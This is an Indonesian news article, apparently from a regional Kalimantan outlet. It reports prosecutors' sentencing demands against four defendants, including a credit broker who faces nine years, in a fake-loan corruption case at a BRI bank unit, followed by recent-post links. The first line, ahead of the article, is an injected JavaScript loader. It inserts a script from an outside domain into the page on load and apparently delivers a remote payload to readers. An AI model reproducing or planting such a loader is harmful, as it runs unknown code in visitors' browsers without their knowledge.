(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Hukum

Dituntut 9 Tahun, Calo Kasus Korupsi Kredit Topengan BRI Nangis


KANALKALIMANTAN.COM, BANJARMASIN – Perkara kasus korupsi modus kredit topengan pada Bank Rakyat Indonesia (BRI) Unit Sengayam Cabang Batulicin memasuki babak baru di Pengadilan Tindak Pidana Korupsi (Tipikor) Banjarmasin.

Jaksa penuntut umum Kejaksaan Negeri (Kejari) Kotabaru yang diwakili Mochamad Rafi Eka Putra SH MH menuntut Erpini W, calo kredit bersalah dengan pidana 9 tahun penjara dan denda Rp500 juta subsider 3 bulan kurungan.

Jaksa menuntut ibu rumah tangga (IRT) ini dihukum pidana tambahan berupa membayar uang pengganti kerugian negara sebesar Rp261 juta.

Terdakwa Iman Nuely Rantau, Muhammad Irwan, dan Sandi Noor saat duduk dipersidangan mendengar tuntutan. Foto: rizki

“Apabila terdakwa tidak membayar uang pengganti tersebut paling lama 1 bulan sesudah putusan inkrah, maka harta bendanya dapat disita oleh jaksa dan dilelang untuk menutupi uang pengganti, dan dalam hal terpidana tidak mempunyai harta benda yang cukup untuk membayar, maka dipidana selama 4 tahun dan 6 bulan penjara,” jelas Rafi Eka Putra saat membacakan tuntutan di Pengadilan Tipikor Banjarmasin, Jumat (29/11/2024).

Di hari yang sama, Rafi Eka Putra juga membacakan tuntutan untuk terdakwa Iman Nuely, Sandian Nor, dan Irwan.

Ketiga terdakwa ini sedikit lebih ringan dari Erpini, jaksa meminta mereka dihukum penjara selama 8 tahun 6 bulan. Kemudian denda Rp500 juta subsider 3 bulan kurungan.

Tuntutan untuk ketiga terdakwa hanya dibedakan pidana tambahan uang pengganti, Iaman Nuely Rp150 juta, Sandian Nor Rp12 juta, dan Irwan Rp5 juta.

“Terdakwa Erpini, Iman Nuely, Sandian Nor, Muhammad Irwan terbukti secara sah dan meyakinkan melakukan tindak pidana korupsi secara bersama-sama sebagaimana diatur dalam pasal 2 ayat 1 juncto pasal 18 Undang-undang Nomor 20 Tahun 2001 tentang perubahan atas UU Nomor 31 Tahun 1999 tentang Pemberantasan Tindak Pidana Korupsi juncto pasal 55 ayat (1) KUHP, sesuai dakwaan primair,” kata Kasubsi Penuntutan, Upaya Hukum Luar Biasa, Eksekusi Seksi Tindak Pidana Khusus Kejari Kotabaru.

Usai mendengarkan pembacaan tuntutan, mata terdakwa Erpini terlihat berlinang air mata. Dan penasehat hukum keempat terdakwa, Rahadian Noor SH mengatakan akan mengajukan pembelaan secara tertulis di persidangan.

Majelis hakim yang dipimpin Indra Meinantha Vidi SH MH dan dua hakim anggota menjadwalkan sidang kembali digelar pada tanggal 2 Desember 2024 dengan agenda pembacaan nota pembelaan terdakwa.

Untuk diketahui, kasus kredit topengan ini melibatkan 6 orang terdakwa, diantaranya Hendrik Pebri Hary Wibowo Saputro selaku mantri yang telah divonis bersalah 6 tahun penjara dan uang pengganti Rp1,3 miliar, bersama Hairiyah selaku calon kredit yang juga divonis 6 tahun dan bayar uang pengganti Rp2,6 miliar.

Erpini sendiri duduk di kursi pesakitan karena perannya sebagai makelar alias yang turut mengumpulkan berkas para calon debitur.

Dalam dakwaan JPU, ia bekerjasama dengan sang mantan suami yakni Iman Nuely Rantau untuk memalsukan sejumlah dokumen, seperti Surat Keterangan Tanah (SKT), Surat Keterangan Usaha (SKU) dan sebagainya.

Begitu juga terdakwa Irwan dan Sandin Noor selaku pihak yang melakukan pembuatan SKU dan surat keterangan status perkawinan yang dikeluarkan oleh Desa Kalian, Kecamatan Pamukan Utara, Kabupaten Kotabaru, dimana isi surat tersebut tidak benar dan tanda tangan kepala desa dipalsukan.

Kerugian negara dari BRI (Persero) Unit Sengayam akibat perbuatan kongkalikong keenam terdakwa, secara keseluruhan cukup besar, mencapai Rp8,6 miliar.

Para terdakwa sebelumnya didakwa primair Pasal 2 jo 18 Undang-Undang Nomor 20 Tahun 2001 tentang Pemberantasan Tindak Pidana Korupsi jo Pasal 55 ayat (1) KUHP. Kemudian subsidair dipasang 3 jo 18 Undang-Undang Nomor 20 Tahun 2001 tentang Pemberantasan Tindak Pidana Korupsi jo Pasal 55 ayat (1) KUHP.(Kanalkalimantan.com/rizki)

Reporter: rizki
Editor : bie


Muhammad Andi

Recent Posts

Disporapar Balangan Survei Objek Wisata Baru di Kecamatan Halong

KANALKALIMANTAN.COM, PARINGIN - Dinas Kepemudaan, Olahraga, dan Pariwisata (Disporapar) Kabupaten Balangan melakukan survei dan penilaian… Read More

5 jam ago

KMBPD Batalkan Aksi Unjuk Rasa ke KPU Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU – Rencana aksi unjuk rasa pasca penetapan hasil Pemilihan Wali Kota dan Wakil… Read More

5 jam ago

Gotong Royong Warga Desa Pematang Bersihkan Aliran Sungai

KANALKALIMANTAN.COM, PARINGIN - Upaya menjaga kelestarian lingkungan dan mendukung kebutuhan air pertanian, warga Desa Pematang,… Read More

5 jam ago

5 Desember Hari Armada RI, Ini Sejarahnya

KANALKALIMANTAN.COM - Setiap 5 Desember diperingati Hari Armada Republik Indonesia (RI) sebagai penghormatan terhadap peran… Read More

5 jam ago

Revitalisasi Taman Van Der Pijl Tahap Finishing, Ada Lapangan Basket Standar FIBA

KANALKALIMANTAN.COM, BANJARBARU - Memasuki masa akhir kontrak, progres pengerjaan revitalisasi Taman Van Der Pijl menjadi… Read More

6 jam ago

Desa Penerima Bansos Pamsimas 2025 Diprioritaskan ke Arah Pengembangan dan Peningkatan Infrastruktur

KANALKALIMANTAN.COM, MARTAPURA - Penentuan desa-desa sebagai penerima bantuan sosial program Penyediaan Air Minum dan Sanitasi… Read More

6 jam ago

This website uses cookies.